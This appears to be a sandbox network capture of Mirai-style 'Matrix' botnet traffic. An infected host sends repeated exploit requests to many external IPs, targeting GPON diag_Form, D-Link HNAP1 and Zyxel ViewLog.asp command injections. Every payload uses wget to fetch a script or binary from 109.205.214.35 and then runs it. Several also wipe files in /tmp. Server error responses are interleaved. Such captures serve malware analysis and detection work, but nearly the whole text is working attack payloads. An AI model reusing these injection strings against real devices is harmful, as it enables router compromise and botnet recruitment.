Mar 21, 2024 05:17:54.746515989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	41042	212.193.159.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.746546984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	47920	5.54.58.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.746584892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	53966	178.216.98.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.746613026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	33810	103.212.72.31	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.772809029 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	55650	118.85.112.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.754483938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	35696	2.24.0.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.754527092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	42638	212.131.180.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.754560947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	52974	2.220.207.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.754618883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	33232	181.41.215.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.286142111 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:58.448731899 CET	1286	IN	HTTP/1.1 403 Forbidden cache-control: no-cache content-type: text/html server: nginx connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 68 73 6c 61 28 30 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 31 33 25 20 39 39 25 2c 20 68 73 6c 61 28 32 35 38 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 37 32 25 20 39 36 25 2c 20 68 73 6c 61 28 33 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 38 37 25 20 36 33 25 2c 20 68 73 6c 61 28 31 32 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 34 39 25 20 35 35 25 2c 20 68 73 6c 61 28 31 32 36 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 35 31 25 20 31 34 25 2c 20 68 73 6c 61 28 32 30 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 31 33 25 20 35 25 2c 20 68 73 6c 61 28 32 34 32 2c 20 30 25 2c 20 31 30 30 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 33 37 25 20 32 37 25 2c 20 68 73 6c 61 28 33 32 33 2c 20 31 30 30 25 2c 20 34 31 Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="robots" content="noindex, nofollow, noarchive"> <title>Forbidden!</title> <style> html, body { height: 100%; width: 100%; margin: 0; padding: 0; } body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; background-color: hsla(0, 0%, 100%, 1); background-image: radial-gradient(at 13% 99%, hsla(258, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 72% 96%, hsla(32, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 87% 63%, hsla(122, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 49% 55%, hsla(126, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 51% 14%, hsla(202, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 13% 5%, hsla(242, 0%, 100%, 1) 0px, transparent 50%), radial-gradient(at 37% 27%, hsla(323, 100%, 41
Mar 21, 2024 05:17:58.448759079 CET	1286	IN	Data Raw: 25 2c 20 31 29 20 30 70 78 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 29 2c 20 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 61 74 20 31 31 25 20 33 36 25 2c 20 68 73 6c 61 28 32 32 35 2c 20 37 33 25 2c 20 32 32 25 2c 20 31 29 20 30 70 Data Ascii: %, 1) 0px, transparent 50%), radial-gradient(at 11% 36%, hsla(225, 73%, 22%, 1) 0px, transparent 50%), radial-gradient(at 85% 48%, hsla(323, 100%, 41%, 1) 0px, transparent 50%), radial-gradient(at 84% 37%, hsla(225, 73%, 22%, 1) 0px, transpare
Mar 21, 2024 05:17:58.448791027 CET	323	IN	Data Raw: 69 6e 65 72 20 70 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 38 65 6d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 23 72 65 71 75 65 73 74 5f 69 64 2c 0a 20 20 20 Data Ascii: iner p { font-size: 0.8em; } #request_id, #timestamp { color: #9f9f9f; } </style></head><body> <div id="container"> <h1>Forbidden!</h1> <p>Your request

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	57714	213.176.101.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.448968887 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:58.610903025 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:17:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=f210d0a5-4451-49e7-8aca-98765eb5ec5c; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	46424	206.189.29.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.449034929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:58.612693071 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c682c2-157" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Mar 21, 2024 05:17:58.613260984 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:58 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	60696	86.127.187.108	80

Timestamp	Bytes transferred	Direction	Data
